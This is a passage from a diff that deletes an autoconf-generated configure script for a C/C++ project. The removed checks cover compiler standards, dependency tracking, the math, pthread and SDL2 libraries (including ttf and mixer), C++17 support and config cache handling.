GCC=yes -else - GCC= -fi -ac_test_CFLAGS=${CFLAGS+y} -ac_save_CFLAGS=$CFLAGS -{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking whether $CC accepts -g" >&5 -printf %s "checking whether $CC accepts -g... " >&6; } -if test ${ac_cv_prog_cc_g+y} -then : - printf %s "(cached) " >&6 -else $as_nop - ac_save_c_werror_flag=$ac_c_werror_flag - ac_c_werror_flag=yes - ac_cv_prog_cc_g=no - CFLAGS="-g" - cat confdefs.h - <<_ACEOF >conftest.$ac_ext -/* end confdefs.h. */ - -int -main (void) -{ - - ; - return 0; -} -_ACEOF -if ac_fn_c_try_compile "$LINENO" -then : - ac_cv_prog_cc_g=yes -else $as_nop - CFLAGS="" - cat confdefs.h - <<_ACEOF >conftest.$ac_ext -/* end confdefs.h. */ - -int -main (void) -{ - - ; - return 0; -} -_ACEOF -if ac_fn_c_try_compile "$LINENO" -then : - -else $as_nop - ac_c_werror_flag=$ac_save_c_werror_flag - CFLAGS="-g" - cat confdefs.h - <<_ACEOF >conftest.$ac_ext -/* end confdefs.h. */ - -int -main (void) -{ - - ; - return 0; -} -_ACEOF -if ac_fn_c_try_compile "$LINENO" -then : - ac_cv_prog_cc_g=yes -fi -rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext -fi -rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext -fi -rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext - ac_c_werror_flag=$ac_save_c_werror_flag -fi -{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_cv_prog_cc_g" >&5 -printf "%s\n" "$ac_cv_prog_cc_g" >&6; } -if test $ac_test_CFLAGS; then - CFLAGS=$ac_save_CFLAGS -elif test $ac_cv_prog_cc_g = yes; then - if test "$GCC" = yes; then - CFLAGS="-g -O2" - else - CFLAGS="-g" - fi -else - if test "$GCC" = yes; then - CFLAGS="-O2" - else - CFLAGS= - fi -fi -ac_prog_cc_stdc=no -if test x$ac_prog_cc_stdc = xno -then : - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $CC option to enable C11 features" >&5 -printf %s "checking for $CC option to enable C11 features... " >&6; } -if test ${ac_cv_prog_cc_c11+y} -then : - printf %s "(cached) " >&6 -else $as_nop - ac_cv_prog_cc_c11=no -ac_save_CC=$CC -cat confdefs.h - <<_ACEOF >conftest.$ac_ext -/* end confdefs.h. */ -$ac_c_conftest_c11_program -_ACEOF -for ac_arg in '' -std=gnu11 -do - CC="$ac_save_CC $ac_arg" - if ac_fn_c_try_compile "$LINENO" -then : - ac_cv_prog_cc_c11=$ac_arg -fi -rm -f core conftest.err conftest.$ac_objext conftest.beam - test "x$ac_cv_prog_cc_c11" != "xno" && break -done -rm -f conftest.$ac_ext -CC=$ac_save_CC -fi - -if test "x$ac_cv_prog_cc_c11" = xno -then : - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: unsupported" >&5 -printf "%s\n" "unsupported" >&6; } -else $as_nop - if test "x$ac_cv_prog_cc_c11" = x -then : - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: none needed" >&5 -printf "%s\n" "none needed" >&6; } -else $as_nop - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_cv_prog_cc_c11" >&5 -printf "%s\n" "$ac_cv_prog_cc_c11" >&6; } - CC="$CC $ac_cv_prog_cc_c11" -fi - ac_cv_prog_cc_stdc=$ac_cv_prog_cc_c11 - ac_prog_cc_stdc=c11 -fi -fi -if test x$ac_prog_cc_stdc = xno -then : - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $CC option to enable C99 features" >&5 -printf %s "checking for $CC option to enable C99 features... " >&6; } -if test ${ac_cv_prog_cc_c99+y} -then : - printf %s "(cached) " >&6 -else $as_nop - ac_cv_prog_cc_c99=no -ac_save_CC=$CC -cat confdefs.h - <<_ACEOF >conftest.$ac_ext -/* end confdefs.h. */ -$ac_c_conftest_c99_program -_ACEOF -for ac_arg in '' -std=gnu99 -std=c99 -c99 -qlanglvl=extc1x -qlanglvl=extc99 -AC99 -D_STDC_C99= -do - CC="$ac_save_CC $ac_arg" - if ac_fn_c_try_compile "$LINENO" -then : - ac_cv_prog_cc_c99=$ac_arg -fi -rm -f core conftest.err conftest.$ac_objext conftest.beam - test "x$ac_cv_prog_cc_c99" != "xno" && break -done -rm -f conftest.$ac_ext -CC=$ac_save_CC -fi - -if test "x$ac_cv_prog_cc_c99" = xno -then : - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: unsupported" >&5 -printf "%s\n" "unsupported" >&6; } -else $as_nop - if test "x$ac_cv_prog_cc_c99" = x -then : - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: none needed" >&5 -printf "%s\n" "none needed" >&6; } -else $as_nop - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_cv_prog_cc_c99" >&5 -printf "%s\n" "$ac_cv_prog_cc_c99" >&6; } - CC="$CC $ac_cv_prog_cc_c99" -fi - ac_cv_prog_cc_stdc=$ac_cv_prog_cc_c99 - ac_prog_cc_stdc=c99 -fi -fi -if test x$ac_prog_cc_stdc = xno -then : - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $CC option to enable C89 features" >&5 -printf %s "checking for $CC option to enable C89 features... " >&6; } -if test ${ac_cv_prog_cc_c89+y} -then : - printf %s "(cached) " >&6 -else $as_nop - ac_cv_prog_cc_c89=no -ac_save_CC=$CC -cat confdefs.h - <<_ACEOF >conftest.$ac_ext -/* end confdefs.h. */ -$ac_c_conftest_c89_program -_ACEOF -for ac_arg in '' -qlanglvl=extc89 -qlanglvl=ansi -std -Ae "-Aa -D_HPUX_SOURCE" "-Xc -D__EXTENSIONS__" -do - CC="$ac_save_CC $ac_arg" - if ac_fn_c_try_compile "$LINENO" -then : - ac_cv_prog_cc_c89=$ac_arg -fi -rm -f core conftest.err conftest.$ac_objext conftest.beam - test "x$ac_cv_prog_cc_c89" != "xno" && break -done -rm -f conftest.$ac_ext -CC=$ac_save_CC -fi - -if test "x$ac_cv_prog_cc_c89" = xno -then : - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: unsupported" >&5 -printf "%s\n" "unsupported" >&6; } -else $as_nop - if test "x$ac_cv_prog_cc_c89" = x -then : - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: none needed" >&5 -printf "%s\n" "none needed" >&6; } -else $as_nop - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_cv_prog_cc_c89" >&5 -printf "%s\n" "$ac_cv_prog_cc_c89" >&6; } - CC="$CC $ac_cv_prog_cc_c89" -fi - ac_cv_prog_cc_stdc=$ac_cv_prog_cc_c89 - ac_prog_cc_stdc=c89 -fi -fi - -ac_ext=c -ac_cpp='$CPP $CPPFLAGS' -ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' -ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' -ac_compiler_gnu=$ac_cv_c_compiler_gnu - - - ac_ext=c -ac_cpp='$CPP $CPPFLAGS' -ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' -ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' -ac_compiler_gnu=$ac_cv_c_compiler_gnu -{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking whether $CC understands -c and -o together" >&5 -printf %s "checking whether $CC understands -c and -o together... " >&6; } -if test ${am_cv_prog_cc_c_o+y} -then : - printf %s "(cached) " >&6 -else $as_nop - cat confdefs.h - <<_ACEOF >conftest.$ac_ext -/* end confdefs.h. */ - -int -main (void) -{ - - ; - return 0; -} -_ACEOF - # Make sure it works both with $CC and with simple cc. - # Following AC_PROG_CC_C_O, we do the test twice because some - # compilers refuse to overwrite an existing .o file with -o, - # though they will create one. - am_cv_prog_cc_c_o=yes - for am_i in 1 2; do - if { echo "$as_me:$LINENO: $CC -c conftest.$ac_ext -o conftest2.$ac_objext" >&5 - ($CC -c conftest.$ac_ext -o conftest2.$ac_objext) >&5 2>&5 - ac_status=$? - echo "$as_me:$LINENO: \$? = $ac_status" >&5 - (exit $ac_status); } \ - && test -f conftest2.$ac_objext; then - : OK - else - am_cv_prog_cc_c_o=no - break - fi - done - rm -f core conftest* - unset am_i -fi -{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $am_cv_prog_cc_c_o" >&5 -printf "%s\n" "$am_cv_prog_cc_c_o" >&6; } -if test "$am_cv_prog_cc_c_o" != yes; then - # Losing compiler, so override with the script. - # FIXME: It is wrong to rewrite CC. - # But if we don't then we get into trouble of one sort or another. - # A longer-term fix would be to have automake use am__CC in this case, - # and then we could set am__CC="\$(top_srcdir)/compile \$(CC)" - CC="$am_aux_dir/compile $CC" -fi -ac_ext=c -ac_cpp='$CPP $CPPFLAGS' -ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' -ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' -ac_compiler_gnu=$ac_cv_c_compiler_gnu - - -depcc="$CC" am_compiler_list= - -{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking dependency style of $depcc" >&5 -printf %s "checking dependency style of $depcc... " >&6; } -if test ${am_cv_CC_dependencies_compiler_type+y} -then : - printf %s "(cached) " >&6 -else $as_nop - if test -z "$AMDEP_TRUE" && test -f "$am_depcomp"; then - # We make a subdir and do the tests there. Otherwise we can end up - # making bogus files that we don't know about and never remove. For - # instance it was reported that on HP-UX the gcc test will end up - # making a dummy file named 'D' -- because '-MD' means "put the output - # in D". - rm -rf conftest.dir - mkdir conftest.dir - # Copy depcomp to subdir because otherwise we won't find it if we're - # using a relative directory. - cp "$am_depcomp" conftest.dir - cd conftest.dir - # We will build objects and dependencies in a subdirectory because - # it helps to detect inapplicable dependency modes. For instance - # both Tru64's cc and ICC support -MD to output dependencies as a - # side effect of compilation, but ICC will put the dependencies in - # the current directory while Tru64 will put them in the object - # directory. - mkdir sub - - am_cv_CC_dependencies_compiler_type=none - if test "$am_compiler_list" = ""; then - am_compiler_list=`sed -n 's/^#*\([a-zA-Z0-9]*\))$/\1/p' < ./depcomp` - fi - am__universal=false - case " $depcc " in #( - *\ -arch\ *\ -arch\ *) am__universal=true ;; - esac - - for depmode in $am_compiler_list; do - # Setup a source with many dependencies, because some compilers - # like to wrap large dependency lists on column 80 (with \), and - # we should not choose a depcomp mode which is confused by this. - # - # We need to recreate these files for each test, as the compiler may - # overwrite some of them when testing with obscure command lines. - # This happens at least with the AIX C compiler. - : > sub/conftest.c - for i in 1 2 3 4 5 6; do - echo '#include "conftst'$i'.h"' >> sub/conftest.c - # Using ": > sub/conftst$i.h" creates only sub/conftst1.h with - # Solaris 10 /bin/sh. - echo '/* dummy */' > sub/conftst$i.h - done - echo "${am__include} ${am__quote}sub/conftest.Po${am__quote}" > confmf - - # We check with '-c' and '-o' for the sake of the "dashmstdout" - # mode. It turns out that the SunPro C++ compiler does not properly - # handle '-M -o', and we need to detect this. Also, some Intel - # versions had trouble with output in subdirs. - am__obj=sub/conftest.${OBJEXT-o} - am__minus_obj="-o $am__obj" - case $depmode in - gcc) - # This depmode causes a compiler race in universal mode. - test "$am__universal" = false || continue - ;; - nosideeffect) - # After this tag, mechanisms are not by side-effect, so they'll - # only be used when explicitly requested. - if test "x$enable_dependency_tracking" = xyes; then - continue - else - break - fi - ;; - msvc7 | msvc7msys | msvisualcpp | msvcmsys) - # This compiler won't grok '-c -o', but also, the minuso test has - # not run yet. These depmodes are late enough in the game, and - # so weak that their functioning should not be impacted. - am__obj=conftest.${OBJEXT-o} - am__minus_obj= - ;; - none) break ;; - esac - if depmode=$depmode \ - source=sub/conftest.c object=$am__obj \ - depfile=sub/conftest.Po tmpdepfile=sub/conftest.TPo \ - $SHELL ./depcomp $depcc -c $am__minus_obj sub/conftest.c \ - >/dev/null 2>conftest.err && - grep sub/conftst1.h sub/conftest.Po > /dev/null 2>&1 && - grep sub/conftst6.h sub/conftest.Po > /dev/null 2>&1 && - grep $am__obj sub/conftest.Po > /dev/null 2>&1 && - ${MAKE-make} -s -f confmf > /dev/null 2>&1; then - # icc doesn't choke on unknown options, it will just issue warnings - # or remarks (even with -Werror). So we grep stderr for any message - # that says an option was ignored or not supported. - # When given -MP, icc 7.0 and 7.1 complain thusly: - # icc: Command line warning: ignoring option '-M'; no argument required - # The diagnosis changed in icc 8.0: - # icc: Command line remark: option '-MP' not supported - if (grep 'ignoring option' conftest.err || - grep 'not supported' conftest.err) >/dev/null 2>&1; then :; else - am_cv_CC_dependencies_compiler_type=$depmode - break - fi - fi - done - - cd .. - rm -rf conftest.dir -else - am_cv_CC_dependencies_compiler_type=none -fi - -fi -{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $am_cv_CC_dependencies_compiler_type" >&5 -printf "%s\n" "$am_cv_CC_dependencies_compiler_type" >&6; } -CCDEPMODE=depmode=$am_cv_CC_dependencies_compiler_type - - if - test "x$enable_dependency_tracking" != xno \ - && test "$am_cv_CC_dependencies_compiler_type" = gcc3; then - am__fastdepCC_TRUE= - am__fastdepCC_FALSE='#' -else - am__fastdepCC_TRUE='#' - am__fastdepCC_FALSE= -fi - - - -# Checks for libraries. - -{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for sqrt in -lm" >&5 -printf %s "checking for sqrt in -lm... " >&6; } -if test ${ac_cv_lib_m_sqrt+y} -then : - printf %s "(cached) " >&6 -else $as_nop - ac_check_lib_save_LIBS=$LIBS -LIBS="-lm $LIBS" -cat confdefs.h - <<_ACEOF >conftest.$ac_ext -/* end confdefs.h. */ - -/* Override any GCC internal prototype to avoid an error. - Use char because int might match the return type of a GCC - builtin and then its argument prototype would still apply. */ -char sqrt (); -int -main (void) -{ -return sqrt (); - ; - return 0; -} -_ACEOF -if ac_fn_c_try_link "$LINENO" -then : - ac_cv_lib_m_sqrt=yes -else $as_nop - ac_cv_lib_m_sqrt=no -fi -rm -f core conftest.err conftest.$ac_objext conftest.beam \ - conftest$ac_exeext conftest.$ac_ext -LIBS=$ac_check_lib_save_LIBS -fi -{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_m_sqrt" >&5 -printf "%s\n" "$ac_cv_lib_m_sqrt" >&6; } -if test "x$ac_cv_lib_m_sqrt" = xyes -then : - printf "%s\n" "#define HAVE_LIBM 1" >>confdefs.h - - LIBS="-lm $LIBS" - -else $as_nop - as_fn_error $? "libm missing." "$LINENO" 5 -fi - -{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for pthread_create in -lpthread" >&5 -printf %s "checking for pthread_create in -lpthread... " >&6; } -if test ${ac_cv_lib_pthread_pthread_create+y} -then : - printf %s "(cached) " >&6 -else $as_nop - ac_check_lib_save_LIBS=$LIBS -LIBS="-lpthread $LIBS" -cat confdefs.h - <<_ACEOF >conftest.$ac_ext -/* end confdefs.h. */ - -/* Override any GCC internal prototype to avoid an error. - Use char because int might match the return type of a GCC - builtin and then its argument prototype would still apply. */ -char pthread_create (); -int -main (void) -{ -return pthread_create (); - ; - return 0; -} -_ACEOF -if ac_fn_c_try_link "$LINENO" -then : - ac_cv_lib_pthread_pthread_create=yes -else $as_nop - ac_cv_lib_pthread_pthread_create=no -fi -rm -f core conftest.err conftest.$ac_objext conftest.beam \ - conftest$ac_exeext conftest.$ac_ext -LIBS=$ac_check_lib_save_LIBS -fi -{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_pthread_pthread_create" >&5 -printf "%s\n" "$ac_cv_lib_pthread_pthread_create" >&6; } -if test "x$ac_cv_lib_pthread_pthread_create" = xyes -then : - printf "%s\n" "#define HAVE_LIBPTHREAD 1" >>confdefs.h - - LIBS="-lpthread $LIBS" - -else $as_nop - as_fn_error $? "libpthread missing." "$LINENO" 5 -fi - -{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for SDL_Init in -lSDL2" >&5 -printf %s "checking for SDL_Init in -lSDL2... " >&6; } -if test ${ac_cv_lib_SDL2_SDL_Init+y} -then : - printf %s "(cached) " >&6 -else $as_nop - ac_check_lib_save_LIBS=$LIBS -LIBS="-lSDL2 $LIBS" -cat confdefs.h - <<_ACEOF >conftest.$ac_ext -/* end confdefs.h. */ - -/* Override any GCC internal prototype to avoid an error. - Use char because int might match the return type of a GCC - builtin and then its argument prototype would still apply. */ -char SDL_Init (); -int -main (void) -{ -return SDL_Init (); - ; - return 0; -} -_ACEOF -if ac_fn_c_try_link "$LINENO" -then : - ac_cv_lib_SDL2_SDL_Init=yes -else $as_nop - ac_cv_lib_SDL2_SDL_Init=no -fi -rm -f core conftest.err conftest.$ac_objext conftest.beam \ - conftest$ac_exeext conftest.$ac_ext -LIBS=$ac_check_lib_save_LIBS -fi -{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_SDL2_SDL_Init" >&5 -printf "%s\n" "$ac_cv_lib_SDL2_SDL_Init" >&6; } -if test "x$ac_cv_lib_SDL2_SDL_Init" = xyes -then : - printf "%s\n" "#define HAVE_LIBSDL2 1" >>confdefs.h - - LIBS="-lSDL2 $LIBS" - -else $as_nop - as_fn_error $? "libSDL2 missing." "$LINENO" 5 -fi - -{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for TTF_Init in -lSDL2_ttf" >&5 -printf %s "checking for TTF_Init in -lSDL2_ttf... " >&6; } -if test ${ac_cv_lib_SDL2_ttf_TTF_Init+y} -then : - printf %s "(cached) " >&6 -else $as_nop - ac_check_lib_save_LIBS=$LIBS -LIBS="-lSDL2_ttf $LIBS" -cat confdefs.h - <<_ACEOF >conftest.$ac_ext -/* end confdefs.h. */ - -/* Override any GCC internal prototype to avoid an error. - Use char because int might match the return type of a GCC - builtin and then its argument prototype would still apply. */ -char TTF_Init (); -int -main (void) -{ -return TTF_Init (); - ; - return 0; -} -_ACEOF -if ac_fn_c_try_link "$LINENO" -then : - ac_cv_lib_SDL2_ttf_TTF_Init=yes -else $as_nop - ac_cv_lib_SDL2_ttf_TTF_Init=no -fi -rm -f core conftest.err conftest.$ac_objext conftest.beam \ - conftest$ac_exeext conftest.$ac_ext -LIBS=$ac_check_lib_save_LIBS -fi -{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_SDL2_ttf_TTF_Init" >&5 -printf "%s\n" "$ac_cv_lib_SDL2_ttf_TTF_Init" >&6; } -if test "x$ac_cv_lib_SDL2_ttf_TTF_Init" = xyes -then : - printf "%s\n" "#define HAVE_LIBSDL2_TTF 1" >>confdefs.h - - LIBS="-lSDL2_ttf $LIBS" - -else $as_nop - as_fn_error $? "libSDL2_ttf missing." "$LINENO" 5 -fi - -{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for Mix_Init in -lSDL2_mixer" >&5 -printf %s "checking for Mix_Init in -lSDL2_mixer... " >&6; } -if test ${ac_cv_lib_SDL2_mixer_Mix_Init+y} -then : - printf %s "(cached) " >&6 -else $as_nop - ac_check_lib_save_LIBS=$LIBS -LIBS="-lSDL2_mixer $LIBS" -cat confdefs.h - <<_ACEOF >conftest.$ac_ext -/* end confdefs.h. */ - -/* Override any GCC internal prototype to avoid an error. - Use char because int might match the return type of a GCC - builtin and then its argument prototype would still apply. */ -char Mix_Init (); -int -main (void) -{ -return Mix_Init (); - ; - return 0; -} -_ACEOF -if ac_fn_c_try_link "$LINENO" -then : - ac_cv_lib_SDL2_mixer_Mix_Init=yes -else $as_nop - ac_cv_lib_SDL2_mixer_Mix_Init=no -fi -rm -f core conftest.err conftest.$ac_objext conftest.beam \ - conftest$ac_exeext conftest.$ac_ext -LIBS=$ac_check_lib_save_LIBS -fi -{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_SDL2_mixer_Mix_Init" >&5 -printf "%s\n" "$ac_cv_lib_SDL2_mixer_Mix_Init" >&6; } -if test "x$ac_cv_lib_SDL2_mixer_Mix_Init" = xyes -then : - printf "%s\n" "#define HAVE_LIBSDL2_MIXER 1" >>confdefs.h - - LIBS="-lSDL2_mixer $LIBS" - -else $as_nop - as_fn_error $? "libSDL2_mixer missing." "$LINENO" 5 -fi - - -# Checks for header files. -ac_header= ac_cache= -for ac_item in $ac_header_c_list -do - if test $ac_cache; then - ac_fn_c_check_header_compile "$LINENO" $ac_header ac_cv_header_$ac_cache "$ac_includes_default" - if eval test \"x\$ac_cv_header_$ac_cache\" = xyes; then - printf "%s\n" "#define $ac_item 1" >> confdefs.h - fi - ac_header= ac_cache= - elif test $ac_header; then - ac_cache=$ac_item - else - ac_header=$ac_item - fi -done - - - - - - - - -if test $ac_cv_header_stdlib_h = yes && test $ac_cv_header_string_h = yes -then : - -printf "%s\n" "#define STDC_HEADERS 1" >>confdefs.h - -fi - for ac_header in SDL2/SDL.h -do : - ac_fn_c_check_header_compile "$LINENO" "SDL2/SDL.h" "ac_cv_header_SDL2_SDL_h" "$ac_includes_default" -if test "x$ac_cv_header_SDL2_SDL_h" = xyes -then : - printf "%s\n" "#define HAVE_SDL2_SDL_H 1" >>confdefs.h - -else $as_nop - as_fn_error $? "SDL2 missing." "$LINENO" 5 -fi - -done - -# Checks for typedefs, structures, and compiler characteristics. - - ax_cxx_compile_alternatives="17 1z" ax_cxx_compile_cxx17_required=true - ac_ext=cpp -ac_cpp='$CXXCPP $CPPFLAGS' -ac_compile='$CXX -c $CXXFLAGS $CPPFLAGS conftest.$ac_ext >&5' -ac_link='$CXX -o conftest$ac_exeext $CXXFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' -ac_compiler_gnu=$ac_cv_cxx_compiler_gnu - ac_success=no - - - - if test x$ac_success = xno; then - for alternative in ${ax_cxx_compile_alternatives}; do - switch="-std=gnu++${alternative}" - cachevar=`printf "%s\n" "ax_cv_cxx_compile_cxx17_$switch" | $as_tr_sh` - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking whether $CXX supports C++17 features with $switch" >&5 -printf %s "checking whether $CXX supports C++17 features with $switch... " >&6; } -if eval test \${$cachevar+y} -then : - printf %s "(cached) " >&6 -else $as_nop - ac_save_CXX="$CXX" - CXX="$CXX $switch" -if ac_fn_cxx_try_compile "$LINENO" -then : - eval $cachevar=yes -else $as_nop - eval $cachevar=no -fi -rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext - CXX="$ac_save_CXX" -fi -eval ac_res=\$$cachevar - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_res" >&5 -printf "%s\n" "$ac_res" >&6; } - if eval test x\$$cachevar = xyes; then - CXX="$CXX $switch" - if test -n "$CXXCPP" ; then - CXXCPP="$CXXCPP $switch" - fi - ac_success=yes - break - fi - done - fi - - - ac_ext=c -ac_cpp='$CPP $CPPFLAGS' -ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' -ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' -ac_compiler_gnu=$ac_cv_c_compiler_gnu - - if test x$ax_cxx_compile_cxx17_required = xtrue; then - if test x$ac_success = xno; then - as_fn_error $? "*** A compiler with support for C++17 language features is required." "$LINENO" 5 - fi - fi - if test x$ac_success = xno; then - HAVE_CXX17=0 - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: No compiler with C++17 support was found" >&5 -printf "%s\n" "$as_me: No compiler with C++17 support was found" >&6;} - else - HAVE_CXX17=1 - -printf "%s\n" "#define HAVE_CXX17 1" >>confdefs.h - - fi - - - -ac_config_files="$ac_config_files Makefile" - -cat >confcache <<\_ACEOF -# This file is a shell script that caches the results of configure -# tests run on this system so they can be shared between configure -# scripts and configure runs, see configure's option --config-cache. -# It is not useful on other systems. If it contains results you don't -# want to keep, you may remove or edit it. -# -# config.status only pays attention to the cache file if you give it -# the --recheck option to rerun configure. -# -# `ac_cv_env_foo' variables (set or unset) will be overridden when -# loading this file, other *unset* `ac_cv_foo' will be assigned the -# following values. - -_ACEOF - -# The following way of writing the cache mishandles newlines in values, -# but we know of no workaround that is simple, portable, and efficient. -# So, we kill variables containing newlines. -# Ultrix sh set writes to stderr and can't be redirected directly, -# and sets the high bit in the cache file unless we assign to the vars. -( - for ac_var in `(set) 2>&1 | sed -n 's/^\([a-zA-Z_][a-zA-Z0-9_]*\)=.*/\1/p'`; do - eval ac_val=\$$ac_var - case $ac_val in #( - *${as_nl}*) - case $ac_var in #( - *_cv_*) { printf "%s\n" "$as_me:${as_lineno-$LINENO}: WARNING: cache variable $ac_var contains a newline" >&5 -printf "%s\n" "$as_me: WARNING: cache variable $ac_var contains a newline" >&2;} ;; - esac - case $ac_var in #( - _ | IFS | as_nl) ;; #( - BASH_ARGV | BASH_SOURCE) eval $ac_var= ;; #( - *) { eval $ac_var=; unset $ac_var;} ;; - esac ;; - esac - done - - (set) 2>&1 | - case $as_nl`(ac_space=' '; set) 2>&1` in #( - *${as_nl}ac_space=\ *) - # `set' does not quote correctly, so add quotes: double-quote - # substitution turns \\\\ into \\, and sed turns \\ into \. - sed -n \ - "s/'/'\\\\''/g; - s/^\\([_$as_cr_alnum]*_cv_[_$as_cr_alnum]*\\)=\\(.*\\)/\\1='\\2'/p" - ;; #( - *) - # `set' quotes correctly as required by POSIX, so do not add quotes. - sed -n "/^[_$as_cr_alnum]*_cv_[_$as_cr_alnum]*=/p" - ;; - esac | - sort -) | - sed ' - /^ac_cv_env_/b end - t clear - :clear - s/^\([^=]*\)=\(.*[{}].*\)$/test ${\1+y} || &/ - t end - s/^\([^=]*\)=\(.*\)$/\1=${\1=\2}/ - :end' >>confcache -if diff "$cache_file" confcache >/dev/null 2>&1; then :; else - if test -w "$cache_file"; then - if test "x$cache_file" != "x/dev/null"; then - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: updating cache $cache_file" >&5 -printf "%s\n" "$as_me: updating cache $cache_file" >&6;} - if test ! -f "$cache_file" || test -h "$cache_file"; then - cat confcache >"$cache_file" - else - case $cache_file in #( - */* | ?:*) - mv -f confcache "$cache_file"$$ && - mv -f "$cache_file"$$ "$cache_file" ;; #( - *) - mv -f confcache "$cache_file" ;; - esac - fi - fi - else - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: not updating unwritable cache $cache_file" >&5 -printf "%s\n" "$as_me: not updating unwritable cache $cache_file" >&6;} - fi -fi -rm -f confcache - -test "x$prefix" = xNONE && prefix=$ac_default_prefix -# Let make expand exec_prefix. -test "x$exec_prefix" = xNONE && exec_prefix='${prefix}' - -DEFS=-DHAVE_CONFIG_H - -ac_libobjs= -ac_ltlibobjs= -U= -for ac_i in : $LIBOBJS; do test "x$ac_i" = x: && continue - # 1. Remove the extension, and $U if already installed. - ac_script='s/\$U\././;s/\.o$//;s/\.obj$//' - ac_i=`printf "%s\n" "$ac_i" | sed "$ac_script"` - # 2. Prepend LIBOBJDIR. When used with automake>=1.10 LIBOBJDIR - # will be set to the directory where LIBOBJS objects are built. - as_fn_append ac_libobjs " \${LIBOBJDIR}$ac_i\$U.$ac_objext" - as_fn_append ac_ltlibobjs " \${LIBOBJDIR}$ac_i"'$U.lo' -done -LIBOBJS=$ac_libobjs - -LTLIBOBJS=$ac_ltlibobjs - - -if test -z "${NETBSD_TRUE}" && test -z "${NETBSD_FALSE}"; then - as_fn_error $? "conditional \"NETBSD\" was never defined. -Usually this means the macro was only invoked conditionally." "$LINENO" 5 -fi -if test -z "${NETBSD_TRUE}" && test -z "${NETBSD_FALSE}"; then - as_fn_error $? "conditional \"NETBSD\" was never defined. -Usually this means the macro was only invoked conditionally." "$LINENO" 5 -fi -{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking that generated files are newer than configure" >&5 -printf %s "checking that generated files are newer than configure... " >&6; } - if test -n "$am_sleep_pid"; then - # Hide warnings about reused PIDs. - wait $am_sleep_pid 2>/dev/null - fi - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: done" >&5 -printf "%s\n" "done" >&6; } - if test -n "$EXEEXT"; then - am__EXEEXT_TRUE= - am__EXEEXT_FALSE='#' -else - am__EXEEXT_TRUE='#' - am__EXEEXT_FALSE= -fi - -if test -z "${AMDEP_TRUE}" && test -z "${AMDEP_FALSE}"; then - as_fn_error $? "conditional \"AMDEP\" was never defined. -Usually this means the macro was only invoked conditionally." "$LINENO" 5 -fi -if test -z "${am__fastdepCXX_TRUE}" && test -z "${am__fastdepCXX_FALSE}"; then - as_fn_error $? "conditional \"am__fastdepCXX\" was never defined. -Usually this means the macro was only invoked conditionally." "$LINENO" 5 -fi -if test -z "${am__fastdepCC_TRUE}" && test -z "${am__fastdepCC_FALSE}"; then - as_fn_error $? "conditional \"am__fastdepCC\" was never defined. -Usually this means the macro was only invoked conditionally." "$LINENO" 5 -fi - -: "${CONFIG_STATUS=./config.status}" -ac_write_fail=0 -ac_clean_files_save=$ac_clean_files -ac_clean_files="$ac_clean_files $CONFIG_STATUS" -{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: creating $CONFIG_STATUS" >&5 -printf "%s\n" "$as_me: creating $CONFIG_STATUS" >&6;} -as_write_fail=0 -cat >$CONFIG_STATUS <<_ASEOF || as_write_fail=1 -#! $SHELL -# Generated by $as_me. -# Run this file to recreate the current configuration. -# Compiler output produced by configure, useful for debugging -# configure, is in config.log if it exists. - -debug=false -ac_cs_recheck=false -ac_cs_silent=false - -SHELL=\${CONFIG_SHELL-$SHELL} -export SHELL -_ASEOF -cat 